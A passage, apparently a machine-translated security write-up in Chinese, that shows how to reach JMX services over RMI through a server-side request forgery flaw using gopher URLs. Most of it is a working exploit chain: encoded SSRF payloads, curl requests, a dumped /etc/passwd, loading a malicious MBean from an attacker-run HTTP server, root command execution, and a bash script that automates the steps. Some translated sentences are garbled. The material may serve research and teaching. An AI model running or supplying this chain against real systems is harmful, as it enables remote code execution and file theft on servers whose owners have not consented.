51aced0005770f0183f5ecf20000017dffcbc0c18009757200025b42acf317f8060854e0020000707870000004d4726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f6173680a62696e3a783a313a313a62696e3a2f62696e3a2f7362696e2f6e6f6c6f67696e0a6461656d6f6e3a783a323a323a6461656d6f6e3a2f7362696e3a2f7362696e2f6e6f6c6f67696e0a61646d3a783a333a343a61646d3a2f7661722f61646d3a2f7362696e2f6e6f6c6f67696e0a6c703a783a343a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7362696e2f6e6f6c6f67696e0a73796e633a783a353a303a73796e633a2f7362696e3a2f62696e2f73796e630a73687574646f776e3a783a363a303a73687574646f776e3a2f7362696e3a2f7362696e2f73687574646f776e0a68616c743a783a373a303a68616c743a2f7362696e3a2f7362696e2f68616c740a6d61696c3a783a383a31323a6d61696c3a2f7661722f6d61696c3a2f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a31333a6e6577733a2f7573722f6c69622f6e6577733a2f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31343a757563703a2f7661722f73706f6f6c2f757563707075626c69633a2f7362696e2f6e6f6c6f67696e0a6f70657261746f723a783a31313a303a6f70657261746f723a2f726f6f743a2f7362696e2f6e6f6c6f67696e0a6d616e3a783a31333a31353a6d616e3a2f7573722f6d616e3a2f7362696e2f6e6f6c6f67696e0a706f73746d61737465723a783a31343a31323a706f73746d61737465723a2f7661722f6d61696c3a2f7362696e2f6e6f6c6f67696e0a63726f6e3a783a31363a31363a63726f6e3a2f7661722f73706f6f6c2f63726f6e3a2f7362696e2f6e6f6c6f67696e0a6674703a783a32313a32313a3a2f7661722f6c69622f6674703a2f7362696e2f6e6f6c6f67696e0a737368643a783a32323a32323a737368643a2f6465762f6e756c6c3a2f7362696e2f6e6f6c6f67696e0a61743a783a32353a32353a61743a2f7661722f73706f6f6c2f63726f6e2f61746a6f62733a2f7362696e2f6e6f6c6f67696e0a73717569643a783a33313a33313a53717569643a2f7661722f63616368652f73717569643a2f7362696e2f6e6f6c6f67696e0a7866733a783a33333a33333a5820466f6e74205365727665723a2f6574632f5831312f66733a2f7362696e2f6e6f6c6f67696e0a67616d65733a783a33353a33353a67616d65733a2f7573722f67616d65733a2f7362696e2f6e6f6c6f67696e0a63797275733a783a38353a31323a3a2f7573722f63797275733a2f7362696e2f6e6f6c6f67696e0a76706f706d61696c3a783a38393a38393a3a2f7661722f76706f706d61696c3a2f7362696e2f6e6f6c6f67696e0a6e74703a783a3132333a3132333a4e54503a2f7661722f656d7074793a2f7362696e2f6e6f6c6f67696e0a736d6d73703a783a3230393a3230393a736d6d73703a2f7661722f73706f6f6c2f6d71756575653a2f7362696e2f6e6f6c6f67696e0a67756573743a783a3430353a3130303a67756573743a2f6465762f6e756c6c3a2f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f3a2f7362696e2f6e6f6c6f67696e0a6375726c5f757365723a783a3130303a3130313a4c696e757820557365722c2c2c3a2f686f6d652f6375726c5f757365723a2f7362696e2f6e6f6c6f67696e0a | xxd -p -r
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
curl_user:x:100:101:Linux User,,,:/home/curl_user:/sbin/nologin

通过SSRF攻击 JMX


JMX可能是最著名的RMI 服务之一,通常是攻击者可靠且容易攻击的目标。管理员通常不会使用用户身份验证或客户端证书来正确保护JMX服务,而是采取简单的方法并阻止从不受信任的网络访问JMX服务。这使得对JMX 端点的SSRF攻击成为一个有趣的话题,因为它可能允许攻击后端无法访问的JMX端点。

SSRF 的角度来看,JMX与之前讨论的自定义RMI 服务非常相似。尽管是众所周知的服务,但JMX端点没有固定ObjID值。甲lookup上的操作RMI注册表因此需要与交互JMX远程对象。此外,我们还没有遇到过一个特殊的特性,那就是会话管理

JMX支持受密码保护的端点,因此需要实现会话管理。在RMI协议 没有内置的支持会话管理,但它是一种常见的做法是使用ObjID机制用于这一目的。我们已经说过,自定义远程对象ObjID在导出期间会被分配一个随机生成的值,并且客户端无法使用远程对象而不知道它们的ObjID. 为了使远程对象 公开可用,将它们绑定到RMI 注册服务,但如果不这样做,远程对象只能由以某种方式获得该ObjID值的客户端访问。

当客户端想要连接到JMX服务时,它首先在RMI 注册表中查找相应的绑定名称。注册表返回的远程对象实现了接口javax.management.remote.rmi.RMIServer ,只支持两种方法:

public interface RMIServer extends Remote {
    public String getVersion() throws RemoteException;
    public RMIConnection newClient(Object credentials) throws IOException;
}

要与JMX代理交互,客户端需要获取实现该接口的远程对象RMIConnection。当客户端调用远程对象newClient上的方法并提供正确的凭据时,将返回此类对象。在这种情况下,初始入口点对象实现该接口出口一个新的远程对象实现该接口。不是将结果绑定到每个人都可以查找的RMI 注册表,而是将远程对象的引用返回给调用该方法的客户端 。客户是唯一一个获得新价值的人RMIServer RMIServerRMIConnectionnewClientObjID远程对象,没有其他客户端可以与它交互。这演示了ObjID值如何作为会话 ID等效生成。

当通过SSRF定位JMX服务时,会话管理在利用过程中增加了一个额外的步骤:

  1. RMI 注册表中查找JMX绑定名称
  2. 调用newClient方法建立JMX会话
  3. 使用JMX session实现RCE
    • 创建MLet MBean
    • 使用MLet加载恶意MBean
    • 使用恶意MBean实现RCE

注意第三步需要在第二步之后的很短的时间间隔内执行。当获得对实现该接口的远程对象的引用时RMIConnection,真正的客户端会向分布式垃圾收集器DGC )发送相应的通知。这会通知DGC相应的远程对象正在使用中,不应清除。由于我们通过SSRF获取引用,因此没有与DGC 的通信,并且在newClient调用生成新的远程对象后不久 ,它就会被垃圾收集。因此,我们需要快。

我们需要做的第一件事是再次获取入口点JMX 远程对象ObjIDTCP 端口。这与我们为自定义RMI服务所做的相同:

$ rmg enum 127.0.0.1 1090 --scan-action list --bound-name jmxrmi --ssrf --gopher --encode
[+] SSRF Payload: gopher%3A%2F%2F127.0.0.1%3A1090%2F_%254a%2552%254d%2549%2500%2502%254c%2550%25ac%25ed%2500%2505%2577%2522%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2502%2544%2515%254d%25c9%25d4%25e6%253b%25df%2574%2500%2506%256a%256d%2578%2572%256d%2569
$ curl 'http://172.17.0.2:8000?url=gopher%3A%2F%2F127.0.0.1%3A1090%2F_%254a%2552%254d%2549%2500%2502%254c%2550%25ac%25ed%2500%2505%2577%2522%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2502%2544%2515%254d%25c9%25d4%25e6%253b%25df%2574%2500%2506%256a%256d%2578%2572%256d%2569' --silent | xxd -p -c10000
51aced0005770f01efa4b9060000017dffd9982080067372002e6a617661782e6d616e6167656d656e742e72656d6f74652e726d692e524d49536572766572496d706c5f53747562000000000000000202000074002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a61727872001a6a6176612e726d692e7365727665722e52656d6f746553747562e9fedcc98be1651a02000071007e00017872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000071007e000178707734000b556e6963617374526566320000096c6f63616c686f737400009909c700e5371b95b264efa4b9060000017dffd9982080020178
$ rmg enum 127.0.0.1 1090 --scan-action list --bound-name jmxrmi --ssrf-response 51aced0005770f01efa4b9060000017dffd9982080067372002e6a617661782e6d616e6167656d656e742e72656d6f74652e726d692e524d49536572766572496d706c5f53747562000000000000000202000074002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a61727872001a6a6176612e726d692e7365727665722e52656d6f746553747562e9fedcc98be1651a02000071007e00017872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000071007e000178707734000b556e6963617374526566320000096c6f63616c686f737400009909c700e5371b95b264efa4b9060000017dffd9982080020178
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:39177  TLS: no  ObjID: [-105b46fa:17dffd99820:-7ffe, -4107030835313135004]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://localhost:8000/rmi-class-definitions.jar'

现在我们知道了远程对象上侦听localhost:39177ObjID价值[-105b46fa:17dffd99820:-7ffe, -4107030835313135004]。此信息足以调用远程对象newClient上的方法。我们希望JMX服务允许未经身份验证的连接并传递所需的凭据参数。此外,我们可以使用GenericPrint插件[6] 的远程方法-猜测器来解析的返回值的方法:null newCall

$ rmg call 127.0.0.1 39177 null --objid '[-105b46fa:17dffd99820:-7ffe, -4107030835313135004]' --signature 'javax.management.remote.rmi.RMIConnection newClient(Object creds)' --ssrf --encode --gopher
[+] SSRF Payload: gopher%3A%2F%2F127.0.0.1%3A39177%2F_%254a%2552%254d%2549%2500%2502%254c%2550%25ac%25ed%2500%2505%2577%2522%25c7%2500%25e5%2537%251b%2595%25b2%2564%25ef%25a4%25b9%2506%2500%2500%2501%257d%25ff%25d9%2598%2520%2580%2502%25ff%25ff%25ff%25ff%25f0%25e0%2574%25ea%25ad%250c%25ae%25a8%2570
$ curl 'http://172.17.0.2:8000?url=gopher%3A%2F%2F127.0.0.1%3A39177%2F_%254a%2552%254d%2549%2500%2502%254c%2550%25ac%25ed%2500%2505%2577%2522%25c7%2500%25e5%2537%251b%2595%25b2%2564%25ef%25a4%25b9%2506%2500%2500%2501%257d%25ff%25d9%2598%2520%2580%2502%25ff%25ff%25ff%25ff%25f0%25e0%2574%25ea%25ad%250c%25ae%25a8%2570' --silent | xxd -p -c10000
51aced0005770f01efa4b9060000017dffd998208008737200326a617661782e6d616e6167656d656e742e72656d6f74652e726d692e524d49436f6e6e656374696f6e496d706c5f53747562000000000000000202000074002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a61727872001a6a6176612e726d692e7365727665722e52656d6f746553747562e9fedcc98be1651a02000071007e00017872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000071007e000178707734000b556e6963617374526566320000096c6f63616c686f737400009909aa2417597598c184efa4b9060000017dffd9982080070178
$ rmg call 127.0.0.1 39177 null --objid '[-105b46fa:17dffd99820:-7ffe, -4107030835313135004]' --signature 'javax.management.remote.rmi.RMIConnection newClient(Object creds)' --plugin GenericPrint.jar --ssrf-response 51aced0005770f01efa4b9060000017dffd998208008737200326a617661782e6d616e6167656d656e742e72656d6f74652e726d692e524d49436f6e6e656374696f6e496d706c5f53747562000000000000000202000074002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a61727872001a6a6176612e726d692e7365727665722e52656d6f746553747562e9fedcc98be1651a02000071007e00017872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000071007e000178707734000b556e6963617374526566320000096c6f63616c686f737400009909aa2417597598c184efa4b9060000017dffd9982080070178
[+] Printing RemoteObject:
[+] 	Remote Class:           javax.management.remote.rmi.RMIConnectionImpl_Stub
[+] 	Endpoint:               localhost:39177
[+] 	ObjID:                  [-105b46fa:17dffd99820:-7ff9, -6186794315107745404]
[+] 	ClientSocketFactory:    default
[+] 	ServerSocketFactory:    default

调用成功,我们获得了对新远程对象的引用。这个新的远程对象实现了RMIConnection接口,我们可以对它执行JMX操作。要实现远程代码执行,我们首先需要创建MLet MBean

$ rmg call localhost 39177 '"javax.management.loading.MLet", null, null' --signature 'javax.management.ObjectInstance createMBean(String className, javax.management.ObjectName name, javax.security.auth.Subject delegationSubject)' --objid '[-105b46fa:17dffd99820:-7ff9, -6186794315107745404]' --ssrf --gopher --encode
[+] SSRF Payload: gopher%3A%2F%2Flocalhost%3A39177%2F_%254a%2552%254d%2549%2500%2502%254c%2550%25ac%25ed%2500%2505%2577%2522%25aa%2524%2517%2559%2575%2598%25c1%2584%25ef%25a4%25b9%2506%2500%2500%2501%257d%25ff%25d9%2598%2520%2580%2507%25ff%25ff%25ff%25ff%2522%25d7%25fd%254a%2590%256a%25c8%25e6%2574%2500%251d%256a%2561%2576%2561%2578%252e%256d%2561%256e%2561%2567%2565%256d%2565%256e%2574%252e%256c%256f%2561%2564%2569%256e%2567%252e%254d%254c%2565%2574%2570%2570
$ curl 'http://172.17.0.2:8000?url=gopher%3A%2F%2Flocalhost%3A39177%2F_%254a%2552%254d%2549%2500%2502%254c%2550%25ac%25ed%2500%2505%2577%2522%25aa%2524%2517%2559%2575%2598%25c1%2584%25ef%25a4%25b9%2506%2500%2500%2501%257d%25ff%25d9%2598%2520%2580%2507%25ff%25ff%25ff%25ff%2522%25d7%25fd%254a%2590%256a%25c8%25e6%2574%2500%251d%256a%2561%2576%2561%2578%252e%256d%2561%256e%2561%2567%2565%256d%2565%256e%2574%252e%256c%256f%2561%2564%2569%256e%2567%252e%254d%254c%2565%2574%2570%2570' &>/dev/null

之后,我们可以使用MLet MBean使用该getMBeansFromURL方法加载恶意MBean。为了创建所需的有效负载和HTTP侦听器,我们使用beanshooter [7]及其--stager-only选项:

$ rmg call localhost 39177 'new javax.management.ObjectName("DefaultDomain:type=MLet"), "getMBeansFromURL", new java.rmi.MarshalledObject(new Object[] {"http://172.17.0.1:8000/mlet"}), new String[] { String.class.getName() }, null' --signature 'Object invoke(javax.management.ObjectName name, String operationName, java.rmi.MarshalledObject params, String signature[], javax.security.auth.Subject delegationSubject)' --objid '[-105b46fa:17dffd99820:-7ff9, -6186794315107745404]' --ssrf --gopher --encode
[+] SSRF Payload: gopher%3A%2F%2Flocalhost%3A39177%2F_%254a%2552%254d%2549%2500%2502%254c%2550%25ac%25ed%2500%2505%2577%2522%25aa%2524%2517%2559%2575%2598%25c1%2584%25ef%25a4%25b9%2506%2500%2500%2501%257d%25ff%25d9%2598%2520%2580%2507%25ff%25ff%25ff%25ff%2513%25e7%25d6%2594%2517%25e5%25da%2520%2573%2572%2500%251b%256a%2561%2576%2561%2578%252e%256d%2561%256e%2561%2567%2565%256d%2565%256e%2574%252e%254f%2562%256a%2565%2563%2574%254e%2561%256d%2565%250f%2503%25a7%251b%25eb%256d%2515%25cf%2503%2500%2500%2570%2578%2570%2574%2500%2517%2544%2565%2566%2561%2575%256c%2574%2544%256f%256d%2561%2569%256e%253a%2574%2579%2570%2565%253d%254d%254c%2565%2574%2578%2574%2500%2510%2567%2565%2574%254d%2542%2565%2561%256e%2573%2546%2572%256f%256d%2555%2552%254c%2573%2572%2500%2519%256a%2561%2576%2561%252e%2572%256d%2569%252e%254d%2561%2572%2573%2568%2561%256c%256c%2565%2564%254f%2562%256a%2565%2563%2574%257c%25bd%251e%2597%25ed%2563%25fc%253e%2502%2500%2503%2549%2500%2504%2568%2561%2573%2568%255b%2500%2508%256c%256f%2563%2542%2579%2574%2565%2573%2574%2500%2502%255b%2542%255b%2500%2508%256f%2562%256a%2542%2579%2574%2565%2573%2571%2500%257e%2500%2505%2570%2578%2570%2534%257d%25b9%254a%2570%2575%2572%2500%2502%255b%2542%25ac%25f3%2517%25f8%2506%2508%2554%25e0%2502%2500%2500%2570%2578%2570%2500%2500%2500%254a%25ac%25ed%2500%2505%2575%2572%2500%2513%255b%254c%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%254f%2562%256a%2565%2563%2574%253b%2590%25ce%2558%259f%2510%2573%2529%256c%2502%2500%2500%2578%2570%2500%2500%2500%2501%2574%2500%251b%2568%2574%2574%2570%253a%252f%252f%2531%2537%2532%252e%2531%2537%252e%2530%252e%2531%253a%2538%2530%2530%2530%252f%256d%256c%2565%2574%2575%2572%2500%2513%255b%254c%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%2553%2574%2572%2569%256e%2567%253b%25ad%25d2%2556%25e7%25e9%251d%257b%2547%2502%2500%2500%2570%2578%2570%2500%2500%2500%2501%2574%2500%2510%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%2553%2574%2572%2569%256e%2567%2570
$ curl 'http://172.17.0.2:8000?url=gopher%3A%2F%2Flocalhost%3A39177%2F_%254a%2552%254d%2549%2500%2502%254c%2550%25ac%25ed%2500%2505%2577%2522%25aa%2524%2517%2559%2575%2598%25c1%2584%25ef%25a4%25b9%2506%2500%2500%2501%257d%25ff%25d9%2598%2520%2580%2507%25ff%25ff%25ff%25ff%2513%25e7%25d6%2594%2517%25e5%25da%2520%2573%2572%2500%251b%256a%2561%2576%2561%2578%252e%256d%2561%256e%2561%2567%2565%256d%2565%256e%2574%252e%254f%2562%256a%2565%2563%2574%254e%2561%256d%2565%250f%2503%25a7%251b%25eb%256d%2515%25cf%2503%2500%2500%2570%2578%2570%2574%2500%2517%2544%2565%2566%2561%2575%256c%2574%2544%256f%256d%2561%2569%256e%253a%2574%2579%2570%2565%253d%254d%254c%2565%2574%2578%2574%2500%2510%2567%2565%2574%254d%2542%2565%2561%256e%2573%2546%2572%256f%256d%2555%2552%254c%2573%2572%2500%2519%256a%2561%2576%2561%252e%2572%256d%2569%252e%254d%2561%2572%2573%2568%2561%256c%256c%2565%2564%254f%2562%256a%2565%2563%2574%257c%25bd%251e%2597%25ed%2563%25fc%253e%2502%2500%2503%2549%2500%2504%2568%2561%2573%2568%255b%2500%2508%256c%256f%2563%2542%2579%2574%2565%2573%2574%2500%2502%255b%2542%255b%2500%2508%256f%2562%256a%2542%2579%2574%2565%2573%2571%2500%257e%2500%2505%2570%2578%2570%2534%257d%25b9%254a%2570%2575%2572%2500%2502%255b%2542%25ac%25f3%2517%25f8%2506%2508%2554%25e0%2502%2500%2500%2570%2578%2570%2500%2500%2500%254a%25ac%25ed%2500%2505%2575%2572%2500%2513%255b%254c%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%254f%2562%256a%2565%2563%2574%253b%2590%25ce%2558%259f%2510%2573%2529%256c%2502%2500%2500%2578%2570%2500%2500%2500%2501%2574%2500%251b%2568%2574%2574%2570%253a%252f%252f%2531%2537%2532%252e%2531%2537%252e%2530%252e%2531%253a%2538%2530%2530%2530%252f%256d%256c%2565%2574%2575%2572%2500%2513%255b%254c%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%2553%2574%2572%2569%256e%2567%253b%25ad%25d2%2556%25e7%25e9%251d%257b%2547%2502%2500%2500%2570%2578%2570%2500%2500%2500%2501%2574%2500%2510%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%2553%2574%2572%2569%256e%2567%2570' &>/dev/null
$ beanshooter --stager-only --stager-host 172.17.0.1 --stager-port 8000
[+] Creating HTTP server on: 172.17.0.1:8000
[+] 	Creating MLetHandler for endpoint: /mlet
[+] 	Creating JarHandler for endpoint: /tonka-bean.jar
[+] 	Starting HTTP server... 
[+] 	
[+] Press Enter to stop listening...
[+]
[+] Received request for: /mlet
[+] Sending malicious mlet:
[+] 
[+] 	Class:		de.qtc.tonkabean.TonkaBean
[+] 	Archive:	tonka-bean.jar
[+] 	Object:		MLetTonkaBean:name=TonkaBean,id=1
[+] 	Codebase:	http://172.17.0.1:8000
[+] 	
[+] Received request for: /tonka-bean.jar
[+] Sending malicious jar file... done!

我们部署的恶意MBean支持一种executeCommand可用于执行操作系统命令的方法。我们现在可以通过使用SSRF漏洞来触发这个方法:

$ rmg call localhost 39177 'new javax.management.ObjectName("MLetTonkaBean:name=TonkaBean,id=1"), "executeCommand", new java.rmi.MarshalledObject(new Object[] {"id"}), new String[] { String.class.getName() }, null' --signature 'Object invoke(javax.management.ObjectName name, String operationName, java.rmi.MarshalledObject params, String signature[], javax.security.auth.Subject delegationSubject)' --objid '[-105b46fa:17dffd99820:-7ff9, -6186794315107745404]' --ssrf --gopher --encode
[+] SSRF Payload: gopher%3A%2F%2Flocalhost%3A39177%2F_%254a%2552%254d%2549%2500%2502%254c%2550%25ac%25ed%2500%2505%2577%2522%25aa%2524%2517%2559%2575%2598%25c1%2584%25ef%25a4%25b9%2506%2500%2500%2501%257d%25ff%25d9%2598%2520%2580%2507%25ff%25ff%25ff%25ff%2513%25e7%25d6%2594%2517%25e5%25da%2520%2573%2572%2500%251b%256a%2561%2576%2561%2578%252e%256d%2561%256e%2561%2567%2565%256d%2565%256e%2574%252e%254f%2562%256a%2565%2563%2574%254e%2561%256d%2565%250f%2503%25a7%251b%25eb%256d%2515%25cf%2503%2500%2500%2570%2578%2570%2574%2500%2521%254d%254c%2565%2574%2554%256f%256e%256b%2561%2542%2565%2561%256e%253a%256e%2561%256d%2565%253d%2554%256f%256e%256b%2561%2542%2565%2561%256e%252c%2569%2564%253d%2531%2578%2574%2500%250e%2565%2578%2565%2563%2575%2574%2565%2543%256f%256d%256d%2561%256e%2564%2573%2572%2500%2519%256a%2561%2576%2561%252e%2572%256d%2569%252e%254d%2561%2572%2573%2568%2561%256c%256c%2565%2564%254f%2562%256a%2565%2563%2574%257c%25bd%251e%2597%25ed%2563%25fc%253e%2502%2500%2503%2549%2500%2504%2568%2561%2573%2568%255b%2500%2508%256c%256f%2563%2542%2579%2574%2565%2573%2574%2500%2502%255b%2542%255b%2500%2508%256f%2562%256a%2542%2579%2574%2565%2573%2571%2500%257e%2500%2505%2570%2578%2570%25c7%25c0%253e%25a2%2570%2575%2572%2500%2502%255b%2542%25ac%25f3%2517%25f8%2506%2508%2554%25e0%2502%2500%2500%2570%2578%2570%2500%2500%2500%2531%25ac%25ed%2500%2505%2575%2572%2500%2513%255b%254c%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%254f%2562%256a%2565%2563%2574%253b%2590%25ce%2558%259f%2510%2573%2529%256c%2502%2500%2500%2578%2570%2500%2500%2500%2501%2574%2500%2502%2569%2564%2575%2572%2500%2513%255b%254c%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%2553%2574%2572%2569%256e%2567%253b%25ad%25d2%2556%25e7%25e9%251d%257b%2547%2502%2500%2500%2570%2578%2570%2500%2500%2500%2501%2574%2500%2510%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%2553%2574%2572%2569%256e%2567%2570
$ curl 'http://172.17.0.2:8000?url=gopher%3A%2F%2Flocalhost%3A39177%2F_%254a%2552%254d%2549%2500%2502%254c%2550%25ac%25ed%2500%2505%2577%2522%25aa%2524%2517%2559%2575%2598%25c1%2584%25ef%25a4%25b9%2506%2500%2500%2501%257d%25ff%25d9%2598%2520%2580%2507%25ff%25ff%25ff%25ff%2513%25e7%25d6%2594%2517%25e5%25da%2520%2573%2572%2500%251b%256a%2561%2576%2561%2578%252e%256d%2561%256e%2561%2567%2565%256d%2565%256e%2574%252e%254f%2562%256a%2565%2563%2574%254e%2561%256d%2565%250f%2503%25a7%251b%25eb%256d%2515%25cf%2503%2500%2500%2570%2578%2570%2574%2500%2521%254d%254c%2565%2574%2554%256f%256e%256b%2561%2542%2565%2561%256e%253a%256e%2561%256d%2565%253d%2554%256f%256e%256b%2561%2542%2565%2561%256e%252c%2569%2564%253d%2531%2578%2574%2500%250e%2565%2578%2565%2563%2575%2574%2565%2543%256f%256d%256d%2561%256e%2564%2573%2572%2500%2519%256a%2561%2576%2561%252e%2572%256d%2569%252e%254d%2561%2572%2573%2568%2561%256c%256c%2565%2564%254f%2562%256a%2565%2563%2574%257c%25bd%251e%2597%25ed%2563%25fc%253e%2502%2500%2503%2549%2500%2504%2568%2561%2573%2568%255b%2500%2508%256c%256f%2563%2542%2579%2574%2565%2573%2574%2500%2502%255b%2542%255b%2500%2508%256f%2562%256a%2542%2579%2574%2565%2573%2571%2500%257e%2500%2505%2570%2578%2570%25c7%25c0%253e%25a2%2570%2575%2572%2500%2502%255b%2542%25ac%25f3%2517%25f8%2506%2508%2554%25e0%2502%2500%2500%2570%2578%2570%2500%2500%2500%2531%25ac%25ed%2500%2505%2575%2572%2500%2513%255b%254c%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%254f%2562%256a%2565%2563%2574%253b%2590%25ce%2558%259f%2510%2573%2529%256c%2502%2500%2500%2578%2570%2500%2500%2500%2501%2574%2500%2502%2569%2564%2575%2572%2500%2513%255b%254c%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%2553%2574%2572%2569%256e%2567%253b%25ad%25d2%2556%25e7%25e9%251d%257b%2547%2502%2500%2500%2570%2578%2570%2500%2500%2500%2501%2574%2500%2510%256a%2561%2576%2561%252e%256c%2561%256e%2567%252e%2553%2574%2572%2569%256e%2567%2570' --silent | xxd -p -c10000
51aced0005770f01efa4b9060000017dffd99820800b7400827569643d3028726f6f7429206769643d3028726f6f74292067726f7570733d3028726f6f74292c312862696e292c32286461656d6f6e292c3328737973292c342861646d292c36286469736b292c313028776865656c292c313128666c6f707079292c3230286469616c6f7574292c32362874617065292c323728766964656f290a
$ rmg call localhost 39177 'new javax.management.ObjectName("MLetTonkaBean:name=TonkaBean,id=1"), "executeCommand", new java.rmi.MarshalledObject(new Object[] {"id"}), new String[] { String.class.getName() }, null' --signature 'Object invoke(javax.management.ObjectName name, String operationName, java.rmi.MarshalledObject params, String signature[], javax.security.auth.Subject delegationSubject)' --objid '[-105b46fa:17dffd99820:-7ff9, -6186794315107745404]' --plugin GenericPrint.jar --ssrf-response 51aced0005770f01efa4b9060000017dffd99820800b7400827569643d3028726f6f7429206769643d3028726f6f74292067726f7570733d3028726f6f74292c312862696e292c32286461656d6f6e292c3328737973292c342861646d292c36286469736b292c313028776865656c292c313128666c6f707079292c3230286469616c6f7574292c32362874617065292c323728766964656f290a
[+] uid=0(root) gid=0(root) groups=0(root)

JMX 远程对象被垃圾收集之前及时执行所有这些步骤非常困难。以下 bash脚本可用于自动化该过程:

#!/bin/bash

SIG_NEW_CLIENT='javax.management.remote.rmi.RMIConnection newClient(Object creds)'
SIG_CREATE_BEAN='javax.management.ObjectInstance createMBean(String className, javax.management.ObjectName name, javax.security.auth.Subject delegationSubject)'
SIG_INVOKE='Object invoke(javax.management.ObjectName name, String operationName, java.rmi.MarshalledObject params, String signature[], javax.security.auth.Subject delegationSubject)'

ARG_CREATE_BEAN='"javax.management.loading.MLet", null, null'
ARG_FROM_URL='new javax.management.ObjectName("DefaultDomain:type=MLet"), "getMBeansFromURL", new java.rmi.MarshalledObject(new Object[] {"http://172.17.0.1:8000/mlet"}), new String[] { String.class.getName() }, null'
ARG_EXEC='new javax.management.ObjectName("MLetTonkaBean:name=TonkaBean,id=1"), "executeCommand", new java.rmi.MarshalledObject(new Object[] {"id"}), new String[] { String.class.getName() }, null'

function ssrf() {
    curl "http://172.17.0.2:8000?url=$1" --silent | xxd -p -c10000
}

echo "[+] Performing lookup operation... "
PAYLOAD=$(rmg enum 127.0.0.1 1090 --scan-action list --bound-name jmxrmi --ssrf --gopher --encode --raw)
RESULT=$(ssrf "${PAYLOAD}")

echo "[+]   Parsing lookup result... "
PARSED=$(rmg enum 127.0.0.1 1090 --scan-action list --bound-name jmxrmi --no-color --ssrf-response "${RESULT}")
JMX_PORT=$(echo "${PARSED}" | head -n 5 | tail -n1 | cut -f3 -d':' | cut -f1 -d' ')
OBJID="[$(echo "${PARSED}" | head -n 5 | tail -n1 | cut -f3 -d'[')"
echo "[+]   JMX Port: ${JMX_PORT}"
echo "[+]   JMX ObjID: ${OBJID}"

echo "[+] Calling newClient()..."
PAYLOAD=$(rmg call 127.0.0.1 ${JMX_PORT} 'null' --objid "${OBJID}" --signature "${SIG_NEW_CLIENT}" --ssrf --encode --gopher --raw)
RESULT=$(ssrf "${PAYLOAD}")

echo "[+]   Parsing newClient() result..."
RESULT=$(rmg call 127.0.0.1 ${JMX_PORT} 'null' --objid "${OBJID}" --signature "${SIG_NEW_CLIENT}" --plugin GenericPrint.jar --no-color --ssrf-response "${RESULT}")
OBJID="[$(echo "${RESULT}" | head -n 4 | tail -n 1 | cut -f3 -d'[')"
echo "[+]   Obtained ObjID: ${OBJID}"

echo "[+] Deploying MLet..."
PAYLOAD=$(rmg call localhost ${JMX_PORT} "${ARG_CREATE_BEAN}" --signature "${SIG_CREATE_BEAN}" --objid "${OBJID}" --ssrf --gopher --encode --raw)
ssrf "${PAYLOAD}" &> /dev/null

echo "[+] Calling getMBeansFromURL()..."
PAYLOAD=$(rmg call localhost ${JMX_PORT} "${ARG_FROM_URL}" --signature "${SIG_INVOKE}" --objid "${OBJID}" --ssrf --gopher --encode --raw)
ssrf "${PAYLOAD}" &> /dev/null

